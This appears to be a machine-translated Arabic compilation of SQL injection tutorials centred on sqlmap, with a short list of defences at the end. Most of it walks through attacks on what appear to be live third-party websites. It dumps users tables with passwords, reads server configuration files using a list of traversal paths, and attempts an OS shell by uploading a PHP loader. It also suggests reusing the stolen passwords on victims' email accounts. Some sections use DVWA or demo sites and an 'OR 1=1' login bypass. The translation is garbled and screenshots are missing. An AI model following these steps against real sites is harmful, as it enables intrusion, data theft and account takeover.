يتيح لك البرنامج فحص المواقع بحثًا عن نقاط الضعف في حقن SQL، ثغرات XSSوكذلك استغلال حقن SQL. مختلف المدعومة أنواع SQL- الحقن وقواعد البيانات المختلفة.
مع sqlmap يمكنك:
إذا كان الموقع عرضة لحقن SQL، فمن الممكن:
أحد السيناريوهات لاستخدام sqlmap:
إذا كانت هناك ثغرة أمنية، فيمكن أن يتطور الهجوم في اتجاهات مختلفة:
كما نرى، يعد حقن SQL بمثابة ثغرة أمنية خطيرة جدًا تمنح المهاجم فرصًا كبيرة.
إذا تلقى الموقع بيانات من المستخدم باستخدام طريقة GET (عندما يكون اسم المتغير والبيانات المرسلة مرئيين في شريط العناوينالمتصفح)، فأنت بحاجة إلى تحديد عنوان الصفحة التي يوجد بها هذا المتغير. وتأتي بعد علامة الاستفهام ( ? )، على سبيل المثال:
في العنوان الأول، اسم المتغير هو بطاقة تعريف، والقيمة التي تم تمريرها هي 8 . في العنوان الثاني اسم المتغير هو أيضا بطاقة تعريف، والقيمة المنقولة 22 . في المثال الثالث، اسم المتغير هو نفسه، ولكن القيمة التي يتم تمريرها هي نفسها ص_36. نفس الاسمالمتغير عبارة عن تطابق عشوائي لمواقع مختلفة، يمكن أن يكون أي شيء، يمكن أن تكون البيانات المرسلة أي شيء، يمكن أن يكون هناك عدة متغيرات بقيم مفصولة برمز & .
إذا أردنا التحقق مما إذا كان متغير المعرف عرضة لحقن SQL، فسنحتاج إلى إدخال العنوان بالكامل - http://www.dwib.org/faq2.php?id=8 (وليس http://www.dwib) .org /faq2.php أو http://www.dwib.org).
أمر التحقق من المتغير الذي تم تمريره بواسطة طريقة GET بسيط للغاية:
Sqlmap -u site_address
لهذه المواقع الأوامر ستكون:
Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36
أثناء عملية التحقق، قد يطرح sqlmap أسئلة مختلفة وتحتاج إلى الإجابة عليها ذ(أي: نعم) أو ن(أي لا). يمكن أن يكون الحرف y و n كبيرًا أو صغيرًا. الحرف الكبير يعني الاختيار الافتراضي، إذا كنت توافق عليه، فما عليك سوى الضغط على Enter.
أمثلة على المواقف والأسئلة:
اكتشفت الاستدلالات أن الهدف محمي بواسطة نوع ما من WAF/IPS/IDS، هل تريد أن يحاول sqlmap اكتشاف الواجهة الخلفية WAF/IPS/IDS؟
حددت الاستدلالات أن الهدف محمي بواسطة نوع ما من WAF/IPS/IDS. هل تريد أن يحاول sqlmap تحديد اسم WAF/IPS/IDS؟
طلبي المفضل:
يُظهر الاختبار الإرشادي (الأساسي) أن معلمة GET "معرف" قد تكون قابلة للحقن (نظام إدارة قواعد البيانات المحتمل: "MySQL") لاختبار حقن SQL على معلمة GET "معرف" يبدو أن نظام إدارة قواعد البيانات الخلفي هو "MySQL". هل تريد تخطي حمولات الاختبار الخاصة بأنظمة إدارة قواعد البيانات الأخرى؟
النقطة المهمة هي أن الاستدلال قد حدد أن المعلمة قد تكون عرضة للخطر وقد تم بالفعل تحديد نظام إدارة قواعد البيانات عن بعد، ويتم سؤالنا عما إذا كنا نريد مواصلة التحقق. وفي لقطة الشاشة الثانية، يكون الموقع أيضًا عرضة لـ XSS.
إذا كنت تريد أتمتة العملية بحيث لا يطلب منك sqlmap كل مرة، ولكن استخدم التحديد الافتراضي (هناك دائمًا أفضل الخيارات)، ثم يمكنك تشغيل الأمر مع الخيار --حزمة:
Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch
قد تظهر الأخطاء التالية:
انتهت مهلة الاتصال بعنوان URL الهدف. سيقوم sqlmap بإعادة محاولة الطلب (الطلبات) إذا استمرت المشكلة، فيرجى التحقق من صحة عنوان URL المستهدف المقدم. في حالة حدوث ذلك، يمكنك محاولة إعادة التشغيل مع تشغيل المفتاح "--random-agent" و/أو مفاتيح الوكيل ("--ignore-proxy"، "--proxy"،...)
وهذا يعني أن موقع الويب لا يريد "التحدث" مع sqlmap. كخيار عرضنا للاستخدام --عامل عشوائي. إذا كان بإمكانك مشاهدة الموقع في المتصفح، ولكن sqlmap يكتب عن استحالة الاتصال، فإن الموقع يتجاهل الطلبات، مع التركيز على وكيل المستخدم. يقوم خيار --random-agent بتغيير قيمة sqlmap القياسية إلى عشوائي:
Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent
قد يكون السبب الآخر لهذا الخطأ هو أن عنوان IP الخاص بك محظور بواسطة موقع ويب - فأنت بحاجة إلى استخدام وكيل. إذا كنت تستخدم وكيلاً بالفعل وظهر هذا الخطأ، فقد يعني ذلك أن الوكيل يعاني من مشكلات في الاتصال ويجب عليك المحاولة بدونه.
يتم عرض حقن SQL المكتشفة على النحو التالي:
أولئك. يتم تمييزها باللون الأخضر الغامق، ويتم كتابة اسم المعلمة الضعيفة، ونوع ثغرة SQL وهناك الكلمة قابل للحقن.
للحصول على قائمة قواعد البيانات، استخدم الخيار --dbs. أمثلة:
Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs
على سبيل المثال، تم العثور على قاعدتي بيانات لموقع wellerpools.com:
[*] مخطط معلومات [*] main_wellerpools
أريد أن أعرف قائمة الجداول في قاعدة البيانات main_wellerpools. للقيام بذلك، استخدم الخيار --tables. بالإضافة إلى ذلك، نحتاج إلى الإشارة إلى الجدول الذي يهمنا بعد الخيار -د:
Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables
قائمة الجداول:
لسبب ما، أريد أن أعرف قائمة الأعمدة من جدول المستخدمين. للقيام بذلك، استخدم الخيار --أعمدة. بالإضافة إلى ذلك، نحتاج إلى الإشارة إلى قاعدة البيانات التي نهتم بها ( -D main_wellerpools) وبعد المفتاح -تالجدول الذي نريد أن نرى قائمة الأعمدة الخاصة به:
Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --columns
لعرض المحتوى، استخدم الخيار --أحمق. يمكن تحديده مع قاعدة البيانات، ثم سيتم إجراء تفريغ لقاعدة البيانات بأكملها، أو يمكنك قصر البيانات على جدول واحد أو حتى عمود واحد. باستخدام الأمر التالي أريد رؤية محتويات جدول المستخدمين بالكامل:
Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T users --dump
ألق نظرة على كلمات المرور - عند الفحص السريع، اعتقدت أنها تجزئات. لقد حاول المشرفون حقًا الدفاع عن أنفسهم، لكن ذلك لم يساعدهم.
بالمناسبة، نظرًا لأن المعلمة التي تقبل البيانات المرسلة بواسطة طريقة GET معرضة للخطر، يمكنك تشكيل طلب مباشرة في سطر المتصفح بحيث يتم عرض تسجيل الدخول وكلمة المرور للمستخدم مباشرة على الموقع نفسه:
أولئك. لدينا اسم المستخدم وكلمة المرور والبريد الإلكتروني للمستخدمين (وعلى الأرجح للمسؤولين) للموقع. إذا كنت تستطيع أن تجد لوحة إداريةالموقع، ثم يمكنك التحكم في الموقع أو خادم الويب. مراعاة حب المستخدمين لنفس كلمات المرور ومعرفتها صناديق البريد- يمكنك محاولة اختراق بريدك.
بشكل عام، يعد حقن SQL ثغرة أمنية خطيرة للغاية.
حقن SQL هو نوع من الهجوم يقوم فيه المهاجم بتعديل منطق استعلام SQL لتطبيق ويب، مما يسمح له بقراءة/تعديل/حذف القيم في قاعدة البيانات وفي بعض الأحيان تنفيذ تعليمات برمجية عشوائية على جانب الخادم. ستناقش هذه المقالة الأداة المساعدة sqlmap الشائعة لإجراء عمليات حقن SQL.
في الوقت الراهن، هذا النوعالضعف هو الأخطر على الإطلاق. لمدة 7 سنوات، كان الخط الرائد لـ "OWASP TOP-10" يتصدر حقن SQL.
هناك 5 أسباب رئيسية لهذه الثغرة الأمنية:
دعونا نلقي نظرة على أنواع حقن SQL التي تستغلها الأداة المساعدة SQLMap:
قم بتشغيل الأداة المساعدة (يجب أن تكون في المتغيرطريق ):
$sqlmap
أو من دليل المرافق:
$ بيثون sqlmap.py
يتم استخدام المفتاح لاستدعاء الوثائق «- ح / — يساعد »:
$ sqlmap - مساعدة $ بيثون sqlmap.py - مساعدة
تعتمد إجراءات مفاتيح SQLMap بشكل كامل على ما يريد المهاجم تحقيقه بالضبط. تبدو القائمة الأساسية لإجراءات SQLMap كما يلي:
لتدريبنا العملي سوف نستخدم اللعنة مُعَرَّض ويب طلب (DVWA أو "تطبيق الويب الضعيف").
DVWA – هو تطبيق ويب مجاني مبني على تقنيات مثل PHP وMySQL، وهو مصمم لتدريب مهارات الاختبار.
الآن نحن مهتمون فقط بالحقن، ولكن بشكل عام، يمكنك اختبار قدراتك في نقاط الضعف الأخرى التي تم إنشاؤها بناءً على الدليل الرسمي. OWASP قمة -10 .
ملاحظة: تفترض هذه الممارسة أن لديك معرفة بأساسيات Linux، بمستوى مبتدئ اللغة الإنجليزيةوالقدرة على استخدام جوجل (إذا لم تكن لديك المهارات المذكورة أعلاه).
تثبيت:
البيانات الأولية:
لذلك دعونا نبدأ:
شرح الأمر:
— url – عنوان URL الذي يحتوي على المعلمة الضعيفة المفترضة. من المهم ملاحظة أن المتغير الخاص بهذا المفتاح مكتوب بين علامتي اقتباس، لأنه يحتوي عنوان URL الذي يتم التحقق منه على أكثر من واحد المعلمة مرت. بخلاف ذلك، يمكنك تجاهل علامات الاقتباس واستخدام الإصدار القصير من المفتاح “- ش ” بدون علامة المساواة .
- ملف تعريف الارتباط - ملف تعريف ارتباط الجلسة للوصول المباشر أثناء الهجوم (مفتاح اختياري).
خاتمة:
تحليل:
شرح الأمر:
—dbs – مفتاح لإدراج قواعد البيانات المتاحة.
خاتمة:
تحليل:قام SQLMap بإدراج قواعد البيانات المتاحة (7 في المجموع).
شرح الأمر:
-D - حدد قاعدة البيانات التي نهتم بها.
--tables - قائمة الجداول المتوفرة في قاعدة البيانات.
خاتمة:
تحليل:كما نرى، نجح SQLMap في إدراج أسماء جدولين في قاعدة البيانات dvwa .
شرح الأمر:
-T - قم بالإشارة إلى الجدول الذي يهمنا.
—الأعمدة – قم بإدراج الأعمدة المتوفرة في الجدول.
خاتمة:
تحليل:كما نرى، نجح SQLMap في إدراج أسماء 6 أعمدة في الجدول المستخدمين، دينار بحريني dvwa .
شرح الأمر:
ج- قم بالإشارة إلى الأعمدة التي تهمنا.
--dump - تفريغ القيم من الأعمدة المدرجة.
خاتمة:
تحليل:وبناء على استجابة SQLMap، نلاحظ النقاط التالية:
شرح الأمر:
—البيانات - حدد معلمات الاختبار التي يتم إرسالها في طلب POST.
—os —shell – مفتاح خاص لمحاولة استغلال وحدة تحكم الخادم عبر حقن SQL.
خاتمة:
تحليل:وبناء على استجابة SQLMap، نلاحظ النقاط التالية:
فوائد الحصول على مستوى أعمق من الوصول إلى النظام:
كابح: .زين
لدينا حقنة SQL على الموقع تبدو كما يلي:
أول شيء نريد القيام به هو التحقق مما إذا كان لدينا امتيازات لكتابة الملفات على المورد الذي تمت مهاجمته؛ للقيام بذلك، قم بتحميل الوحدة الطرفية وإصدار الأمر التالي:
http://www.sacoor.com/site_terms.php?lang=en --banner --current-db --current-user --is-dba
نضغط على Enter ويبدأ تحليل حقن SQL الخاص بنا، ويبدو التقرير كما يلي:
كما ترون في التقرير، تمت كتابة إصدار Apache وإصدار MySQL وإصدار نظام التشغيل المثبت على الخادم، كل هذا سيكون مفيدًا لنا في المستقبل، ولكن الأهم من ذلك، يمكنك أن ترى ذلك لدينا حقوق لكتابة الملفات، ويتم عرض هذا في السطر المستخدم الحالي هو DBA: صحيح
الخطوة التالية بالنسبة لنا هي الحصول على المسارات لتسجيل غلافنا. يمكننا الحصول على المسار إلى موقعنا على الخادم عن طريق تنزيل ملف httpd.conf. نحصل على معلومات حول موقع ملف httpd.conf من باستخدام جوجل، يمكنك البحث حسب إصدار نظام التشغيل المثبت أو من خلال قائمة المسارات الأكثر احتمالية. بشكل عام، لن أخوض في ركوب الأمواج محركات البحث، فقط عندما تكتشف الموقع الأكثر احتمالاً للمسار إلى الملف، فقد حان الوقت لتنزيل هذا الملف بالذات على القرص الخاص بك، للقيام بذلك، أدخل الأمر التالي واطلب قراءة الملف على الخادم:
Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --file-read=/etc/httpd/conf/httpd.conf
دعونا نلاحظ على الفور أنه ليس من الممكن دائمًا العثور على ملف التكوين هذا في المرة الأولى، لذا يمكنك استخدام المسارات الأكثر احتمالية حيث قد يوجد هذا الملف:
قائمة المسارات المحتملة لملف التكوين:
../../../../../../../../../usr/local/Apache/conf/httpd.conf ../../../../ ../../../../../usr/local/Apache2/conf/httpd.conf ../../../../../../../../ usr/local/Apache/httpd.conf ../../../../../../../../usr/local/Apache2/httpd.conf ../../.. /../../../../../usr/local/httpd/conf/httpd.conf ../../../../../../../usr/ local/etc/Apache/conf/httpd.conf ../../../../../../../usr/local/etc/apache2/conf/httpd.conf ../.. /../../../../../usr/local/etc/httpd/conf/httpd.conf ../../../../../../../ usr/Apache2/conf/httpd.conf ../../../../../../../usr/apache/conf/httpd.conf ../../../.. /../../../usr/local/apps/Apache2/conf/httpd.conf ../../../../../../../usr/local/apps/ apache/conf/httpd.conf ../../../../../../etc/Apache/conf/httpd.conf ../../../../../. ./etc/Apache2/conf/httpd.conf ../../../../../../etc/httpd/conf/httpd.conf ../../../../ ../../etc/http/conf/httpd.conf ../../../../../../etc/Apache2/httpd.conf ../../../. ./../../etc/httpd/httpd.conf ../../../../../../etc/http/httpd.conf ../../../. ./../../etc/httpd.conf ../../../../../opt/Apache/conf/httpd.conf ../../../../. ./opt/Apache2/conf/httpd.conf ../../../../var/www/conf/httpd.conf ../conf/httpd.conf
نتلقى تقريرًا من sqlmap بالشكل التالي:
كما ترون، أخبرنا sqlmap أن الملف له نفس حجم الملف الموجود على الخادم، وبالتالي لدينا الحق في قراءة هذا الملف. إذا لم تكن هناك حقوق كافية لقراءة هذا الملف، فسيظهر خطأ بأن الملف المحفوظ على أجهزتنا له حجم مختلف عن الملف الموجود على الخادم، أو أنه لا يوجد ملف على الخادم بالمسار الذي حددناه ولم يتم تثبيته مطلقًا كان. قام Sqlmap بحفظ ملفنا في ملفات التقرير، ولقراءته نحتاج إلى تشغيل مدير النوافذ. للبدء مدير النوافذنفتح نافذة طرفية أخرى وندخل الأمر:
بعد ذلك، في المدير الذي يفتح، نتبع المسار الذي أضاف فيه sqlmap الملف، أي:
/root/.sqlmap/output/sacoor.com
بعد ذلك، قم بتمرير المؤشر فوق الملف، واضغط على الزر F3 على لوحة المفاتيح واقرأ ملف تكوين Apache:
من ملف التكوين الخاص بنا نرى أن موقعنا موجود على الخادم على المسار التالي:
/الصفحة الرئيسية/sbshop/الموقع/
الآن بعد أن أصبح لدينا القليل من المعلومات، يمكننا محاولة ملء الصدفة، وللقيام بذلك ندخل الأمر التالي:
Sqlmap –u http://www.sacoor.com/site_terms.php?lang=en --os-cmd –v l
بعد إدخال الأمر، سيسألك sqlmap عن نوع الحشو الذي نريد استخدامه، لأن... في حالتنا، الموقع بلغة PHP، ثم سنقوم بتحميل PHP-loader، حدد العنصر 4 واضغط على Enter. بعد ذلك، سيطلب منا sqlmap اختيار المكان الذي سنرفع فيه المُحمل الخاص بنا، ومنذ... نحن نعرف بالفعل المسار إلى موقعنا على الخادم، ثم حدد العنصر 2، واضغط على Enter وأشر إلى المسار إلى الموقع:
/الصفحة الرئيسية/sbshop/الموقع/
وبعد ذلك اضغط على Enter وشاهد التقرير التالي:
في في هذه الحالةيخبرنا sqlmap بذلك هذا المجلدليس لدينا حقوق الكتابة. لا توجد مشكلة، هذه المشكلة سهلة الحل. نعطي الأمر لتشغيل uniscan والتحقق من الملفات والمجلدات للتأكد من قابليتها للكتابة، وهنا الأمر.
حقن SQL هو هجوم يستغل عبارات SQL الديناميكية عن طريق التعليق على أجزاء معينة من العبارات أو إضافة شرط يظل صحيحًا دائمًا. فهو يستهدف الثغرات الموجودة في بنية تطبيقات الويب ويستخدم عبارات SQL لتنفيذ تعليمات برمجية SQL ضارة:
في هذه المقالة، سنلقي نظرة على التقنيات المستخدمة في حقن SQL وكيفية حماية تطبيقات الويب من مثل هذه الهجمات.
تختلف أنواع الهجمات التي يمكن تنفيذها باستخدام حقن SQL بناءً على نوع محركات قاعدة البيانات المتأثرة. يستهدف الهجوم عبارات SQL الديناميكية. العبارة الديناميكية عبارة عن عبارة يتم إنشاؤها في وقت التشغيل استنادًا إلى معلمات من نموذج ويب أو سلسلة استعلام URI.
فكر في تطبيق ويب بسيط يتضمن نموذج تسجيل دخول. رمز نموذج HTML موجود أدناه:
لنفترض أن طلب التحقق من معرف المستخدم على جانب الخادم يبدو كما يلي:
سنلقي نظرة على الهجوم الذي يستخدم حقن SQL sqlfiddle. افتح عنوان URL http://sqlfiddle.com/ في متصفحك. ستظهر النافذة التالية على الشاشة.
ملاحظة: سوف تحتاج إلى كتابة عبارات SQL:
الخطوة 1: أدخل هذا الرمز في اللوحة اليسرى:
إنشاء جدول "المستخدمين" (`id` INT NOT NULL AUTO_INCREMENT، `email` VARCHAR(45) NULL، `password` VARCHAR(45) NULL، PRIMARY KEY (`id`)); أدخل في قيم المستخدمين (البريد الإلكتروني وكلمة المرور) (" [البريد الإلكتروني محمي]",md5("اي بي سي"));
الخطوة 2: انقر فوق الزر بناء المخطط».
الخطوة 3: أدخل الرمز أدناه في الجزء الأيسر:
حدد * من المستخدمين؛
الخطوة 4: انقر فوق " تشغيل SQL" ستظهر لك النتيجة التالية:
لنفترض أن المستخدم يوفر عنوان بريد إلكتروني [البريد الإلكتروني محمي]و 1234 ككلمة المرور. قد يبدو الاستعلام الذي يجب تنفيذه في قاعدة البيانات كما يلي:
يمكن تجاوز مثال كود حقن SQL أعلاه عن طريق التعليق على جزء من كلمة المرور وإضافة شرط يظل صحيحًا دائمًا. لنفترض أن أحد المهاجمين يقوم بإدخال البيانات التالية في حقل عنوان البريد الإلكتروني:
[البريد الإلكتروني محمي]" أو 1 = 1 الحد 1 -- " ]
وxxx في حقل كلمة المرور.
سيبدو البيان الديناميكي الذي تم إنشاؤه كما يلي:
0; ' AND ... عبارة عن تعليق SQL يستبعد جزء كلمة المرور.
انسخ الاستعلام أعلاه والصقه في مربع النص FiddleRun SQL كما هو موضح أدناه:
لدينا تطبيق ويب بسيط متاح على http://www.techpanda.org/ والذي تم جعله عرضة لهجمات حقن SQL للمبتدئين لأغراض العرض التوضيحي. رمز نموذج HTML المذكور أعلاه مأخوذ من صفحة الترخيص لهذا التطبيق.
يوفر الأمان الأساسي مثل تعقيم حقل البريد الإلكتروني. هذا يعني أنه لا يمكن استخدام الكود أعلاه لتجاوز هذه الآلية.
لتجاوز هذا، يمكنك استخدام حقل كلمة المرور. يوضح الرسم البياني أدناه الخطوات التي يجب عليك اتباعها:
لنفترض أن المهاجم يقدم البيانات التالية:
الخطوة 1: أدخل [البريد الإلكتروني محمي]كعنوان بريد إلكتروني؛
الخطوة 2: أدخل xxx’) OR 1 = 1 - ] ;
ينقر على زر "إرسال".
سيتم إرساله إلى لوحة الإدارة. سيبدو الاستعلام الذي تم إنشاؤه كما يلي:
يوضح الرسم البياني أدناه كيفية إنشاء الطلب:
هنا:
عادةً ما يحاول المهاجمون استخدام عدة طرق مختلفة في هجوم حقن SQL لتحقيق أهدافهم.
يمكن أن تسبب عمليات حقن SQL ضررًا أكبر بكثير من تسجيل الدخول إلى النظام عن طريق تجاوز آلية التفويض. بعض هذه الهجمات قد:
القائمة أعلاه ليست كاملة. إنه ببساطة يعطي فكرة عن المخاطر التي تشكلها حقن SQL.
في المثال أعلاه، استخدمنا أساليب الهجوم اليدوية. قبل إجراء عملية حقن SQL، عليك أن تفهم أن هناك أدوات آلية تتيح لك تنفيذ الهجمات بشكل أكثر كفاءة وسرعة:
فيما يلي بعض القواعد البسيطة للحماية من هجمات حقن SQL:
لا ينبغي الوثوق بإدخال المستخدم. يجب دائمًا تعقيمها قبل استخدام البيانات في عمليات SQL الديناميكية.
الإجراءات المخزنة- يمكنهم تغليف استعلامات SQL ومعالجة كافة بيانات الإدخال كمعلمات.
الاستعلامات المعدة- يتم إنشاء الاستعلامات أولاً، ثم تتم معالجة جميع بيانات المستخدم المقدمة كمعلمات. لا يؤثر هذا على بناء جملة عبارة SQL.
التعبيرات العادية- يمكن استخدامه لاكتشاف التعليمات البرمجية الضارة المحتملة وإزالتها قبل تنفيذ عبارات SQL.
حقوق الوصول للاتصال بقاعدة البيانات- ل الحماية من حقن SQL، يجب منح الحسابات المستخدمة للاتصال بقاعدة البيانات حقوق الوصول الضرورية فقط. سيساعد هذا في تحديد الإجراءات التي يمكن أن تؤديها عبارات SQL على الخادم.
رسائل الخطأ- لا يجب الكشف عنها معلومات سرية. رسائل خطأ مخصصة بسيطة مثل " آسف، نشأت خطأ فني. لقد تم بالفعل إخطار فريق الدعم بهذا الأمر. يرجى المحاولة مرة أخرى لاحقا"، يمكن استخدامه بدلاً من العرض استعلامات SQLالذي تسبب في الخطأ.